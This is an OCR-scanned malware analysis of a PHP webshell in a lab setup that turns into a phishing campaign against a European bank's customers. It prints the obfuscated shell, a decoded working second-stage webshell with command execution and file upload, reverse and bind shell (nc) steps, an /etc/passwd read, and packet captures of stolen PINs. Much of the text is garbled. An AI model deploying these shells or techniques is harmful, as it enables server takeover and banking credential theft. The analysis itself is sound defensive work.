WEBSHELL TO PHISHING

UDURRANI

SUMMARY:

* Attacker uploads the master webShell

* Attacker sets a password [ shal(md5(password)) |

* Attacker is able to load multiple modules including:

{“explorer", "terminal", "eval", "convert", "database", "info", "mail", "network",

J

“processes” }. This means, attacker is able to execute, upload, download, email, get system
information etc via webShell.

 Attacker steals user data

* Attacker launches another stage and initiates a phishing campaign.

* Phishing campaign is against a bank in Europe.

* Attacker sends out phishing email(s)

* Innocent users punches in all the information into a legit looking page

» Attacker steals the data.

Master webshell is the key payload here, that provides all the tools to steal data and upload
new files used for phishing. With the master shell, attacker is not only able to steal corporate user

information but start a phishing campaign on the victims domain.







Let’s draw this out
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So a successful webshell attack is converted to a phishing campaign, where target is a bank
in Europe.
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Let’s get technical

The first landing page (webshell) looks like the following:

|

It’s just a form, where attacker provides his / her password to detonate the rest of the page.
Password is provided as SHA1(MD5 (PASSWORD)). PHP code is heavily compresses and

obfuscated.

cC96bLb4IMs/4/qBeKV1X6d0/j]joogq5zqe6B80qeKVEQL8Ivb47+MLOO5VYefLK3Tclrj4DcvLWT4V6R5BCZx+KkFWN/BTUWWGOZzR08wWe f339Cin5yaZESTR5pwIA
/x+/++exVHyDqPGtRp0ZqjbjRSm5XGd7q3z61Dcyqok3syywde0qljgd@gHBOtTmFim90++XY7XDejaanCILYRaWmFBjvOuE6tmVWEmMVMOpzNRym6XQynj9K3dg4sw
iUDmI9seAn8dooc5ROGT1djkWDg60y2mqZ/GK96m8LK47XRvI6I1TmIRbTKLQiqUGNLm+UQqW8YksFZSNIEzZEtw50@ubkcjZfyRK6Mx0h+u9HHSUSR3BRCs1Q+p/fr
pcNoOm1P@pEDuwqJ@5a4yux00epYaq@b9VyEyU7FYj@4X3fH+2MIKKvZYFrmJ518LrQIs2KE3rQWo3JRUut luhmS6MS8Ni3ta5H+ks2WRt LFUO2VI8BNMI iNupnKt1I
gk1f5QyImn4Lg2H02UwaCsD50TeqYitPuVcry@P5RAk8r5dn2XX5XEVr625VbFcqwelLhbmu4Kox4Ph5LkX6/W4UaqVqHDznMCrIe48K3IjLtwSE+XIsbzuhGI1lbsuF
dh1ZHSX0reluEznGOky50Rgka5t1Z27dm@4Lab7ekQrs1KXDFQiYoyePqVCivY/VyUAt3JoVSUCzGxuw5X55vImpKXgt8VenPmfCite2Mk@I6saxUgnpWegh60jHul5
tiN5rerutcTI6WI+NKmx8MGCF4YKpDjk10BFnqL9viUtxHmFw12WZjgnxcLAqlYqacm8Rz9flyFIHioXVjIk9T8xVoSEuZ@PXkQagUD/3YPH2aBAfT3Yo+tWqilK7m
ufa@KzSTjQ1D15rDSkjnZoN+rNigFoPdYbQ4rLbZUWPdqlQLLTW/FiP7UHi/mAt@fCHOTSs2TyGInUmMR3UABNURTVymc5FBuXkkExMpk2MnWhzqVa58WMXwySsUOixh
dbyxHd01dXx3D+k0/nh71Qdp0On8/14dpmYJRtLVXCMttKZgbaPyb1jMrw+s0dCQ@os2UWwwoRCvdQxdWari8X6sFB6h@S7VqvEmiN+@SykhUbmDFCu0I4+5Rgbeiu7
KIeUYiy4TEWPO/3Qy6UjYnRZGMyF2VKVC7FzRo8de61Rc6AXE/nDQiqfC4N1Jal1QulybieuT212]y1Dzdw53CdiIb7DBfcV9tDIdBqTXFYos8EI3VmA9/VY rMKFQp
wcKoTik3K+P1D681xW6I+WwckgERH16p4rpTcdnQmG5FVQS03q2fBplDwxEeZcD4uJEsOfi70SW2eG81w0jfQS1xsfGgNGZsyr@rDOTIRxJtY/byIp/lwQOswkUizN
+aW2jIjx3C7WSC3SjFCet2KjDMXmvngmC5r631j 1DggDX5TOky LuFQPdQ7D3TGhpQZcSmqWluPd4Ng57CalVnAxLqjKaLgZ9hPFYzyR1pX1qsCsG61u9xx09BcInm
dCp2NtmhdqtXCZFg7NUr4xHyaXk0QizGWE+1QKaTWp0TqVy/zkFGulD6oy3ddVtiyWwpm9ut/1JyuuM5xz5106VhgXG4D0raYvc@mxFSmUBLluhVytVpp0d302nR/1E
K1/P@0F1mJ7VGoei3twKmZXUj0S39HrSEbSa2FDZWv3EnQr5UimaPnfOp1DuMK+nSokJHU42igKb0elb/QRX5KQ1d2ZHE/3cKre5rnwYB8fhfCKvSNntoBtVS6eodl
UWuYTeoI/Sms40GrFToXuISXo9pixL+y@fK3H5Tj3VbIkcPVfXy9ZuvSt11q1KexA7ndRDPyPI4d2YGaTTul2JCRcKUO1qJ10zaPWcmWZD4WRLKI7IWigpjltsLLwe
dWblWuG@j2wLcV4eHQv6UIDz6VHOHN6+cygVp@19qWFKk6DxU6+1pdjzJopNQtsrjwexc75WbCxpI0Aele11SI11rebdL6d3nWW8xKrBpVsI1QUJotthg6edTnanS

Script follows the following sequence in php for de-obfuscation.

gzuncompress(base64_decode($OBFUSCATED_SCRIPT))

Let’s look at the password form.

if(!function_exists('auth')){ function auth(){ if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!="")){ $c = $_COOKIE; $p

= $_POST; if(isset($pl'pass'])){ $your_pass = shal(md5($p['pass'])); if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your
_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($cl'pass']) || ((isset($c['pass'])&&($c['pass']!=$GL
OBALS['pass'])))){ $res = "<!doctype html> <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow
, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.@, maximum-scale=1.0, user-scalable=no, user-—
scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0; '><br><p><center><noscript>You need to e
nable javascript</noscript></center></p> <script type='text/javascript'> var d = document; d.write(\"<br><br><ﬁorm method='pos
t'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;backgro
und: #ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000; '></center></form>\"); d.getElementById('pass
').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> "; echo $res; die(); } } }

Once attacker provides the correct password, the following is shown:

Explorer Terminal Eval Convert Database Info Mail Network Processes

Server IP : 172.16.177.131:8080 | Your IP : 172.16.177.1

Time @ Server : 12 Jun 2018 09:09:30

Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64
PHP 5.6.15

o nane size owner perns. modified
o [.1 action DIR root:root drwxr-xr-x  04-Jun-2018 17:01:20
(o] [..1 action DIR root:root drwxr-xr-x 12-Jun-2018 09:09:21

o [ Files ] action DIR root:root drwxr-xr-x 04-Jun-2018 17:01:20







In code, following modules will be loaded:

n"nn

$GLOBALS['module_to_load'| = array("explorer", "terminal", "eval", "convert",

n"n ne nn

"database", "info", "mail", "network", "processes");

This landing page can do multiple things:

* Provide access to all the folders

* Provide access to the terminal / CMD prompt to run any command
 Eval to run any interpreter like perl / python

* Connect to database(s)

* Get system information

* Send out emails

* Initiate a reverse shell, bind shell and a packet crafter

Let’s look at some of those modules in action.

Execution Flow:

Terminal is one of the modules. This module provides the execution flow for the web shell.
This means that the attacker can execute any command on Linux, Unix or Windows OS. Please
NOTE: Attacker can run everything remotely. The beauty of a web-shell is that the attacker 1s

virtually present on your corporate network.

Explorer Terminal Eval Convert Database Info Mail Network Processes

Server IP : 172.15\.177.141:8080 | Your IP : 172.16.177.1
Time @ Server : 12y Jun 2018 10:35:07
Linux localhost.loé‘aldomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64
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/var /www/cgi-bin/>whoami

root <

/var /www/cgi-bin/>

This is a very critical stage of the attack. If execution flow is stopped or prevented, it
becomes very difficult for an attacker to move forward. Attacker maybe able to upload other

shells but without the execution flow it’s not easy to carry on with the attack. Please pay very







close attention to the processes that your webServer application spawns e.g. IIS, Tomcat, Apache
etc.

Execution in this case is very simple. Attacker uses POPEN() in read mode to run any
command, keeps the result in the buffer and read 2096 bytes at a time. The result is eventually
dumped in the attacker’s browser. POPEN is just like FOPEN, both C functions. The difference
1s: FOPEN will read, write to a file. On the other hand, POPEN will save the results in the
memory. Let’s look at the attacker PHP code.

$foo = @popen($code, ‘r');

// $code = the command to execute, ‘r’ = read mode

fread($foo, 2096)5 // Read 2096 bytes from handle ‘$foo’

popen($in,"r") { Sout = ""; while(\@feof($f)) $out .= fread($£,1024); ~_

> 22D Until END OF FILE is reached, keep reading
Can you follow the execution flow??: 1024 bytes from o harcls S

In the following text, PID is shown in red and PPID is shown in green. Now Sout will point to the result in memory.

(I am hoping you understand PID && PPID)

34095~ 34094 IIS SERVER 34095 SPM L4507

34507 _* 34095 cmd /¢ tcpdump
34508 4 34507 tcpdump 54<H 7 Lpres§ 245D Y

This implies IIS Server is the parent and executing all the system calls. That’s why it’s very
important to understand this execution flow.

Binding and Reversing:

Attacker can bind a shell or initiate a reverse shell to a G2 server. Once reverse shell is
established, things become very dynamic in nature. This means attacker can change the flow very
easily and execute multiple things.

At code level attacker is simply using sock() functionality.

fsockopen($packetHost, $packetPort, $errNo, SerrStr, $packet Timeout)
Later it’s just using read and write via same socket handle.

fwrite($sock, $packetContent.” \r\n\r\n\x00");
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/// Read 2096 bytes from handle ‘$foo’�

Usman Durrani
Until END OF FILE is reached, keep reading
 1024 bytes from the handle ‘$f’
Now $out will point to the result in memory.�




Server IP

Port.

php

Press

run ' button and run

Target IP

Port

Processes:

o«

nc -1 -v -p port '

172.16.177.141:8080

13123

nc server_ip port ' on your computer

172.16.177.1

13123

on your computer and press ' run ' button

Bind Shell

Reverse Shell

Attacker can look at the process stack, kill or initiate any process

@) action

(0] kill
O kill
O kill
O kill
O kill
(0] kill
O kill
O kill
o kill
O kill
(0] kill
O kill
O kill
O kill
O kill

user

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

pid

10

11

12

13

14

i3

16

17

%cpu  %mem vsz rss

0.0 0.1 122688 6944

0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0
0.0 0.0 0 0

stat

Ss

start

Jun1l

Jun1l

Junll

Junil

Jun1l

Junil

Jun1l

Junll

Junil

Junil

Junil

Jun1l

Junll

Junil

Junil

time

command

Jusr/lib/systemd/systemd --switched-root --system --deserialize 20

[kthreadd]

[ksoftirqd/0]

[kworker/@:0H]

[rcu_sched]

[rcuos/@]

[rcuos/1]

[rcuos/2]

[rcuos/3]

[rcuos/4]

[rcuos/5]

[rcuos/6]

[rcuos/7]

[rcuos/8]

[rcuos/9]

Once again, at code level it’s very straight forward.

iflis_win()){ $cmd = "tasklist /V /FO csv"; §

rexplode = "\"\""; } else{






For windows run tasklist /V /FO csy, for linux run ps aux and convert the result in proper

html format.
SystemInformation:

System information is just a click away.

server Info
CPU Info
Memory Info

Partitions Info

minor #blocks

major
11 ] 1437696 sro
8 0 15728640 sda
8 1 512000 sdal
8 2 15215616 sda2
253 0 1572864 dm-0
253 1 13598720 dm-1

..
Scripting:

Attacker can test different interpreters and scripting engines as well.

Eval

print "hello"

Options/Switches

: Using dir : /var/www/cgi-bin/ (writable)
 Temporary file : perl621b88db (ok)

| Setting permissions : 0755 (ok)

| Execute : perl perl621b88db
| Deleting temporary file : perl621b88db (ok)

A
*Ftnlshed...
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| Arguments
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1







We don’t have to get into all the modules but at some point the attacker drops another

webShell. This shell is basically double base64 encoded. Here is how it looks like on the wire.

(UDURRANI)
TO IP ADDRESS 172.16.177.1
PORT INFORMATION (8080, 61803)

SEQUENCE INFORMATION (4161432141, 4228297681)

URG:@ | ACK:1 | PSH:@ | RST:@ | SYN:0 | FIN:0|

64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUZzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUZzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUZzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUZzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dExTMHRMUzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUZzBOTFMw
64 45 78 54 4D 48 52 4D 55 7A 42 30 54 46 4D 77 dEXTMHRMUzBOTFMw
64 45 78 54 4D 48 52 4D 55 54 42 4C 59 7A 4E 57 dEXTMHRMUTBLY zNW
61 55 6C 46 56 6A 52 61 56 30 34 78 5A 45 64 57 aUlFVjRaVe4xZEdW
52 47 49 79 4D 58 52 5A 56 7A 56 72 52 46 46 77 RGIYMXRZVzVrRFFw
4E 30 52 52 62 30 70 68 56 31 6C 76 53 6B 5A 4B NORRbOphV11vSkZK
4D 57 4A 72 54 6E 5A 69 56 7A 46 6F 59 6D 31 52 MWJIrTnZiVzFoYmlR
5A 31 42 59 4E 47 64 69 55 7A 6C 6C 57 45 68 4E Z1BYNGdiUz 1IWEhN
63 56 6B 79 55 6D 4E 6A 65 58 4E 76 54 47 6C 7A cVkyUmNjeXNvTGlz
63 45 78 35 61 32 64 4A 65 55 4A 77 5A 45 4E 43 cEx5a2dJeUJwZENC
63 47 4E 35 51 6D 68 4A 52 30 35 76 57 56 63 31 cGN5QmhJR@5vWVcl
62 6C 70 54 51 6D 74 68 57 45 6C 6E 57 54 49 35 b1lpTQmthWENWTIS
64 47 4A 58 52 6E 56 61 51 54 42 4C 51 31 68 7A dGJIXRnVaQTBLQ1lhz
54 6B 4E 6E 61 30 70 4A 65 55 49 7A 57 6C 4E 43 TkNna@pJeUIzWINC
61 6D 46 48 52 6E 56 61 4D 6C 56 6E 5A 45 64 6F amFHRnVaM1VnZEdo
62 45 6C 48 55 6E 42 6A 62 56 5A 71 5A 45 63 35 bETHUNBjbVZqZEc5
65 57 56 54 51 6E 42 69 62 6C 4A 73 59 32 30 31 eWVTQnBib1JsY201

Let’s decode this 2nd stage very quickly.

[ $code = 'PD8gIGLMICgkZGLlyID@9ICcnKXsgJGRpciA9IGALdGN3ZCgp0yB9IGLmICgkX1BPU1IRbI2NvbW1hbmQnXSAhPSAnJyl7ICR1eGVjX3R5cGU9IFIQT
1NUWyd1eGVjdXR1X3R5cGUnXTsgJGNvbTOkX1BPU1RbI2NvbW1hbmQnXTsgZWNobyAkY29t0yBpZiAoaXNzZXQoJGV4ZWNTdH1lwZSkpIHsgaWYgKCR1eGVjX3R5¢
GUIPSIxIikgeyBlY2hvIHNoZWxsX2V4ZWMoJGNvbSk7IHOgZWxzZWLmKCR1eGVjX3R5cGUIPSIyIikgeyBlY2hvIHN5c3R1bSgkY29tKTsgIHOgZWxzZWlmICgkZ
Xh1Y190eXB1PTOiMyIpIHsgcGFzc3RocnUoJGNvbSk7IHOGZWxzZWlmICgkZXh1Y190eXB1PTOiNCIpIHsgaWYgKGZ1bmN@aW9uX2V4aXNacyhzaGVsbF9leGVjK
SkgeyB1lY2hvIHNoZWxsX2V4ZWMoJGNvbSk7IHOgZWxzZWilmIChmdw5jdGlvbl91leGlzdHMoc31zdGVtKSkgeyBlY2hvIHN5c3R1bSgkY29tKTsgfSBLbHNlaWYgK
GZ1bmNeaW9uX2V4aXN@cyhwYXNzdGhydSkpIHsgZWNobyBwYXNzdGhydSgkY29tKTsgfSBLbHNLIHsgZWNobyAiWy1dSSBjYW4gbm9OIEV4ZWN1dGUGYW55IGNvh
W1hbmQiOyB9ICAgICB9IHOgIHOgaWYgKCF1bXBAeSA0JFIGSUXFUlsnZ2F6YVVQI10pKSB7ICAgICBth3Z1X3VwbG9hZGVkX2ZpbGUoJFIGSUXFUlsnZ2F6YVVQ]
11bJ3RtcF9uYW11J10sJGRpcidnLycuJF9GSUXFUlsnZ2F6YVVQI11bJ25hbWUnXSk7ICAgICAKZ2F6YV90ZXhOIDOQGIjxiP1VwbhG9hZGVKIFN1Y2N1c3NmdWxse
TwvYj 48YnI+Zm1sZSBuYWl'LIDogIi4kXQZJTEVTWydnYXphVEmmmy+ZmlsZSBzaXplIDogIi4kXOZJTEVTWydnYXphVVAnXVsnc2'LGZdeL
iI8YnI+ZmlsZSBOeXB1IDogIi4kX0ZITEVTWydnYXphVVAnX i 'sgfSBLY2hvlzwhLS@0gRXh1Y3V0ZSAuL3RrbCOtPiAJCTxmb3JtIG11ld
GhvZD1QT1NUID4JCQk8cD4gCQkIPGLucHVOIHR5cGUIINR1eHQiIG5hbWUIImNVbW1hbmQiIC8+IAkICTxzZWx1Y3QgbmFtZT0iZXh1Y3V0ZV90eXB1Ij4gCQkIC
TxvcHRpb24gdmFsdWU9ND5BAXRvVIFN1bGVjdDwvb3B0aW9uPiAJCQkIPGIWdGLvbiB2YWx1ZTOXxPnNoZWxsIGV4ZWMBL29wdGlvbj4gCQkICTxvcHRpb24gdmFsd
WU9Mj52eXNOZWO8L29wdGlvbj4gCQkICTxvcHRpb24gdmFsdWU9IMz5wYXNzdGhydTwvb3B0aW9uPiAJCQkICQkICTwvc2VsZWNOPiAJICQk8aW5wdXQgdH1lwZTOic
3VibW10IiB2YWx1ZT@OiRXh1Y3V0ZSIgLz4gCSAICQk8L3A+IAkIPCIMb3JtPiA8ISOtIGVuZCBFeGVjdXR1IC4vdGtsLSO+IzsgZWNobyAiPCEtLXVwhG9hZCBma
Wx1IC4vdGtsLSO+IDxsZWZOPiA8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9I211bHRpcGFydC9mb3JtLWRhdGEnPiA8aW5wdXQgdH1lwZTONnZmlsZScgbmFtZ
TOnZ2F6YVVQJyBzaXplPScyMycgPiA8aW5wdXQgdHlwZTOnc3VibW10JyB2YWx1ZTOnVXBsb2FkJyBzaXplPSczNScgPiA8L2ZvcmO+IDwvbGVmdD4gPCEtLSBlb
mQgdXBsb2FkIGZpbGUgLi90a2wtLT4i0yB1Y2hvICRnYXphX3R1eHQ7IGVjaG8glzxjZW50ZXI+PGEgaHI1Zj0iaHROcDovL2dhemEtaGFja2VyLm51dCIgdGFyZ
2VOPSIfYmxhbmsiP1tHYXphIEhhQOtLUiBUZWFtXTwvYT4gLSA8YSBocmVmPSJodHRWOi8vZ2F6YS1oYWNrZXIubmVOL2NjL211bWI1cillXzIyMzYxLmhObWwil
HRhcmd1dDOiX2JsYW5rIj5bVEtMXTwvYT48L2N1bnR1cj4n0yAgPz4="; $fp = fopen('gaza3-vb.php","w+"); fwrite($fp,base64_decode($code))
; header("Location: gaza3-vb.php"); 1]

[ <2 if ($dir == ''){ $dir = getcwd(); } if ($_POST['command'] != ''){ $exec_type=$_POST['execute_type']l; $com=$_POST['comm
and']; echo $com; if (isset($exec_type)) { if ($exec_type=="1") { echo shell_exec($com); } elseif($exec_type=="2") { echo sy
stem($com); } elseif ($exec_type=="3") { passthru($com); } elseif ($exec_type=="4") { if (function_exists(shell_exec)) { ec
ho shell_exec($com); } elseif (function_exists(system)) { echo system($com); } elseif (function_exists(passthru)) { echo pas

sthru($com); } else { echo "[-]I can not Execute any command"; } }} } if ('empty ($_FILES['gazaUP']l)) { move_uploa
ded_file($_FILES['gazaUP']['tmp_name'],$dir.'/'.$_FILES['gazaUP']['name']); $gaza_text = "<b>Uploaded Successfully</b><b
r>file name : ".$_FILES['gazaUP']['name']."<br>file size : ".$_FILES['gazaUP']['size']."<br>file type : ".$_FILES['gazaUP'][
‘type']."<br>"; } echo'<!-- Execute ./tkl--> <form method=POST > <p> <inp
ut type="text" name="command" /> <select name="execute_type"> <option valu
e=4>Auto Select</option> DECODED <option value=1>shell exec</option> <opt
ion value=2>system</option> <option value=3>passthru</option> <
/select> <input type="submit" value="Execute" /> </p> </fo
rm> <!-— end Execute ./tkl-->'; echo "<!—-upload file ./tkl--> <left> <form method='POST' enctype='multipart/form-data'> <in
put type='file' name='gazaUP' size='23' > <input type='submit' value='Upload' size='35' > </form> </left> <!-- end upload fi

le ./tkl-->"; echo $gaza_text; echo '<center><a href="http://gaza-hacker.net" target="_blank">[Gaza HaCKeR Team]</a> - <a hr
ef="http://gaza-hacker.net/cc/member-u_22361.html" target="_blank">[TKL]</a></center>'; 7> ]



Attackers, sometimes can have multiple payloads to bypass security products. This shell can
do multiple things (just like the previous one) but is more cryptic in nature. It relies on POST

request as opposed to GE'T. It can connect to database(s) as well. Here 1s a capture on wire.

(UDURRANI)
(DATA PUSH!) IS COMING FROM TO IP ADDRESS 172.16.177.131
PORT INFORMATION (61803, 8080)
SEQUENCE INFORMATION (4228296919, 4161346578)

URG:® | ACK:1 | PSH:1 | RST:@ | SYN:@ | FIN:Q|

50 4F 53 54 20 2F 78 30 2E 70 68 70 20 48 54 54 POST /x@.php HTT
50 2F 31 2E 31 0D @A 48 6F 73 74 3A 20 31 37 32 P/1.1..Host: 172
2E 31 36 2E 31 37 37 2E 31 33 31 3A 38 30 38 30 .16.177.131:8080
@D 0A 41 63 63 65 70 74 3A 20 74 65 78 74 2F 68 ..Accept: text/h
74 6D 6C 2C 61 70 70 6C 69 63 61 74 69 6F 6E 2F tml,application/
78 68 74 6D 6C 2B 78 6D 6C 2C 61 70 70 6C 69 63 xhtml+xml,applic
61 74 69 6F 6E 2F 78 6D 6C 3B 71 3D 30 2E 39 2C ation/xml;q=0.9,
2A 2F 2A 3B 71 3D 30 2E 38 @D @A 41 63 63 65 70 */%;q=0.8..Accep
74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 t-Encoding: gzip
2C 20 64 65 66 6C 61 74 65 @D @A 41 63 63 65 70 , deflate..Accep
74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75 t-Language: en-u
73 @D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A s..Content-Type:
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 application/x-w
77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 ww—form-urlencod
65 64 0D OA 4F 72 69 67 69 6E 3A 20 68 74 74 70 ed..Origin: http
3A 2F 2F 31 37 32 2E 31 36 2E 31 37 37 2E 31 33 ://172.16.177.13
31 3A 38 30 38 30 @D 0A 55 73 65 72 2D 41 67 65 1:8080. .User—Age
6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 nt: Mozilla/5.0
(UDURRANT)
(DATA PUSH!) IS COMING FROM TO IP ADDRESS 172.16.177.131

PORT INFORMATION (61803, 8080)
SEQUENCE INFORMATION (4228297559, 4161346578)

URG:@ | ACK:1 | PSH:1 | RST:0 | SYN:@ | FIN:0|
(188)
68 6F 73 74 5F 6E 61 6D 65 3D 6C 6F 63 61 6C 68

\/\_\\
host_name=1localh
ost&user_name=fo
o&user_pass=XXXX
XXXXX&dAb_name=XX
XXXXXX&gaza_mysq

1_file=%2Fetc%2F

passwd&function_
tkl=mysqll

Since curl 1s well integrated within PHP, its used heavily in this situation.

case "curl":

$tkl_cu =
curl_init("file:///".$pwd."\x00/../../«/ v/ i/ i/ i/ i/ ou/ o/ i/ /"o __FILE_);
curl_exec($tkl_cu);

htmlspecialchars(var_dump(curl_exec($tkl_cu)));

break;

case "posix_getpwuid":





65 70 2D 61 6C 69 76 65 @D @A 43 6F 6F 6B 69 65 ep-alive..Cookie
3A 20 50 48 50 53 45 53 53 49 44 3D 65 34 72 64 : PHPSESSID=e4rd
6B 64 67 75 70 32 65 69 6C 38 66 36 36 62 38 38 kdgup2eil8f66b88
34 71 37 39 6B 34 3B 20 63 77 64 3D 25 32 46 76 14q79k4; cwd=%2Fv,
61 72 25 32 46 77 77 77 25 32 46 63 67 69 2D 62 'ars%s2Fwwwss2F cgi-b
69 6E 25 32 46 3B 20 70 61 73 73 3D 30 66 38 36 1in%2F; pass= =086,
39 36 33 32 64 65 64 66 30 37 33 63 62 30 35 38 -9632dedf073cb058
37 65 38 64 66 61 34 33 65 63 39 34 63 38 37 32 7e8dfa43ec94c87m
61 62 66 63 @D @A 55 73 65 72 2D 41 67 65 6E 74 \abfc. .User—-Agent,
3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 4D ?'Mb%ItiEiS‘é'YM
61 63 69 6E 74 6F 73 68 3B 20 49 6E 74 65 6C 20 acintosh; Intel

4D 61 63 20 4F 53 20 58 20 31 30 5F 31 33 5F 34 Mac 0S X 10_13_4
29 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 36 30 ) AppleWebKit/60
35 2E 31 2E 31 35 20 28 4B 48 54 4D 4C 2C 20 6C 5.1.15 (KHTML, 1
69 6B 65 20 47 65 63 6B 6F 29 20 56 65 72 73 69 ike Gecko) Versi
6F 6E 2F 31 31 2E 31 20 53 61 66 61 72 69 2F 36 on/11.1 Safari/6
30 35 2E 31 2E 31 35 @D @A 41 63 63 65 70 74 2D 05.1.15..Accept-
4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75 73 @D Language: en-us.
@A 52 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F .Referer: http:/
2F 31 37 32 2E 31 36 2E 31 37 37 2E 31 33 31 3A /172.16.177.131:
38 30 38 30 2F 65 32 66 37 62 63 35 64 35 62 63 8080/e2f7bc5d5bc

Shell can go through the directory structure and change permissions.

global $delim, $win;

if ($d = @opendir($directory)) { function permission_octal2string ($mode) {

while (($filename = @readdir(sd)) !'== false) { if (($mode & gxcgao) === @x(C000) {
$path = $directory . $filename; '
if ($stat = @lstat($path)) { $type = 's’
$file = array( } elseif (($mode & QXAOOO) === 0xA000)

'filename' => $filename, $type = '"1':
‘path’ => $path, ) ’
efiler > erefile(spath), } elseif (($mode & 0x8000) === 0x8000)
'is_dir' => @is_dir(spath), ="'-"
'izji;k' = @E,Li;k(zsath), el $type ’ o
'is_readable' => @is_readable($path), elseif (($mode & 0X6000) === 0x6000)
'is_writable' => Sis_wr[‘itable}gspath), $type = 'b'
'size' => $stat['size'], J—
‘permission' => $stat['mode'l, } 91SElf$i;§20delgl?X4000) === 0x4000)
‘owner"' => $stat['uid'], =
‘group’ => $statl'gid'], } elseif (($mode & 0x2000) === 0x2000)
‘mtime’ => @filemtime($path), $t — et :
'atime' => @fileatime($path), ype ¢
‘ctime' => @filectime($path) } elself (($mode & 0x1000) === 0x1000)

At this stage, attacker wants to gather:

But the attacker didn’t stop here.





WebShell To Phishing:
Spending enough time collecting data, attacker thought about changing the flow to a
phishing campaign. And why not??? Attacker has an advantage of a well known, compromised

domain. Webshell already has an email interface.

Mail

From i~

To

Subject:

“ S

Using the email module, attacker formulates an email and sends it to the victims (targeting

(T doms te atacker 17
Downloads other PHP files to initiate a phishing campaign.

Particulares /O\ Empresas BEHE

1. Selecciona la forma de acceso que prefieres:
Numero de usuario o tarjeta Regquisitos
DNI electrénico Requisitos
2. Introduce el usuario o nimero de tarjeta de coordenadas y el PIN

PIN (contrasefia): |:| ¢ Has olvidado o no funciona tu PIN?

the bank’s clients)

Te puede interesar

Hipoteca Mari Carmen
Menos hipoteca y mas persona

Muy importante!
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Once the user punches in the information, it’s sent out via email.

URG:@ | ACK:1 | PSH:1 | RST:@ | SYN:0 | FIN:0|

47 45 54 20 2F 66 66 34 36 30 64 39 31 32 32 63 GET /ff460d9122c
33 65 35 31 66 35 61 65 36 33 61 36 38 33 38 35 3e51f5ae63a68385
32 62 34 38 61 30 31 38 65 65 33 35 35 66 37 30 2b48a018ee355f70
37 30 61 35 35 33 37 61 62 35 33 31 31 38 34 63 70a5537ab531184c
63 36 39 64 62 66 34 62 35 66 32 38 38 62 64 65 c69dbf4b5f288bde
62 38 39 36 64 39 32 35 30 61 35 62 32 64 33 66 b896d9250a5b2d3f
64 33 61 61 66 2F 46 69 6C 65 2E 70 68 70 20 48 d3aaf/File.php H
54 54 50 2F 31 2E 31 @D @A 48 6F 73 74 3A 20 31 TTP/1.1..Host: 1
37 32 2E 31 36 2E 31 37 37 2E 31 34 30 3A 38 30 72.16.177.140:80
38 30 oD OA 55 70 67 72 61 64 65 2D 49 6E 73 65 80..Upgrade-Inse
63 75 72 65 2D 52 65 71 75 65 73 74 73 3A 20 31 cure-Requests: 1
0D @A 41 63 63 65 70 74 3A 20 74 65 78 74 2F 68 ..Accept: text/h
74 6D 6C 2C 61 70 70 6C 69 63 61 74 69 6F 6E 2F tml,application/
78 68 74 6D 6C 2B 78 6D 6C 2C 61 70 70 6C 69 63 xhtml+xml,applic
61 74 69 6F 6E 2F 78 6D 6C 3B 71 3D 30 2E 39 2C ation/xml;q=0.9,
2A 2F 2A 3B 71 3D 30 2E 38 @D @A 55 73 65 72 2D */%;0=0.8..User—
41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 Agent: Mozilla/5
2E 30 20 28 4D 61 63 69 6E 74 6F 73 68 3B 20 49 .0 (Macintosh; I
6E 74 65 6C 20 4D 61 63 20 4F 53 20 58 20 31 30 ntel Mac 0S X 10
5F 31 33 5F 34 29 20 41 70 70 6C 65 57 65 62 4B _13_4) AppleWebK

Pins / passwords are stored in text files. One of the file is called bella.txt

46 72 6F 6D 3A 20 53 50 41 49 4E 20 3C 74 6D 7A From: SPAIN <tmz
40 4C 6F 63 61 6C 68 6F 73 74 2E 63 6F 6D 3E 22 @Localhost. com>"
3B 0D OA 6D 61 69 6C 28 24 73 65 6E 64 2C 24 73 ;..mail($send, $s
75 62 6A 65 63 74 2C 24 6D 65 73 73 61 67 65 2C ubject, $message,
24 66 72 6F 6D 29 3B @D @A 0D OA OD A 24 66 69 SFrom);..e .. $Fi
